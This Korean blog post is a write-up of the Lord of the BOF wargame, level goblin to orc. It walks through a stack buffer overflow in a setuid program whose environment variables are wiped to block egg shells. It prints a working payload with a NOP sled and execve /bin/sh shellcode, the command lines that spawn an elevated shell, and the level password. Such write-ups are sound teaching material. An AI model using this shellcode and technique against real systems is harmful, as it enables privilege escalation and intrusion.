본문 바로가기
스터디/wargames

[BOF-Wargames] LOB Load of BOF LEVEL4 (goblin -> orc) 문제풀이

by 깝태 2011. 8. 17.

Goblin -> Orc LOB 문제풀이를 시작하도록 하겠습니다.

[goblin@localhost goblin]$ ls
orc  orc.c

[goblin@localhost goblin]$ ./orc
argv error

[goblin@localhost goblin]$ ./orc aa aa aa
stack is still your friend.

[goblin@localhost goblin]$ cat ./orc.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40]; // Buffer 40바이트 선언
        int i;

        if(argc < 2){
                printf("argv error\n"); // 역시나 전 레벨과 똑같다.
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i])); // 환경변수 초기화 - 에그쉘 사용 금지

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n"); // RTL 사용금지
                exit(0);
        }

        strcpy(buffer, argv[1]); // argv[1] 을 buffer 에 복사한다.
        printf("%s\n", buffer); // 복사된 buffer 을 출력한다.
}

소스는 매우 길어졌지만 별거 없습니다. 일단 전 레벨과 같이 인자를 3개 이상 넣어줘야만 하며
이번 문제에서는 환경변수를 이용하여 문제를 풀 수 없으며 또 "\bf" 를 다수로 넘겨줘야만 된다.

[goblin@localhost goblin]$ gcc -v
Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/specs
gcc version egcs-2.91.66 19990314/Linux (egcs-1.1.2 release)

역시나 더미는 붙지 않는다.
그렇다면 공격 버퍼는 40바이트가 된다. 한번 메모리 구조를 그려보자

LOW | i (4Byte) | Buffer (40Byte) | SFP (4Byte) | RET (4Byte) | HIGH

우리에게 필요한건 Buffer 이후의 부분이다.
공격방법은 argv[2] 에 NOP 와 쉘코드를 넣어주고 argv[1] 의 RET 주소에 argv[2] 의 주소를 넣어주는것이다.
페이로드를 구성해보자

"\xbf" * 44 + RET | NOP * 30000 + SHELLCODE 

이렇게 공격해줄것이다. 앞에서 bf 를 44개 넣어주는것은 앞에서 말했던 내용이다.
먼저 argv[2] 의 주소를 알아내는 코딩을 하고 공격을 시도해보겠다.

[goblin@localhost xodnr]$ cat orc.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - orc
        - egghunter
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("0x%x\n", argv[2]); // 추가된 부분이다.
        printf("%s\n", buffer);
}

[goblin@localhost goblin]$ ./orc `python -c 'print "\xbf"*44 + "\xaa\xaa\xaa\xbf"'` `python -c 'print "\x90"*30000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
0xbfff872e
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ªªª¿
Segmentation fault (core dumped)

[goblin@localhost goblin]$ ./orc `python -c 'print "\xbf"*44 + "\x2e\x87\xff\xbf"'` `python -c 'print "\x90"*30000 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿.‡ÿ¿

bash$ id
uid=503(goblin) gid=503(goblin) euid=504(orc) egid=504(orc) groups=503(goblin)

bash$ my-pass
euid = 504
cantata

성공적으로 문제를 풀었다.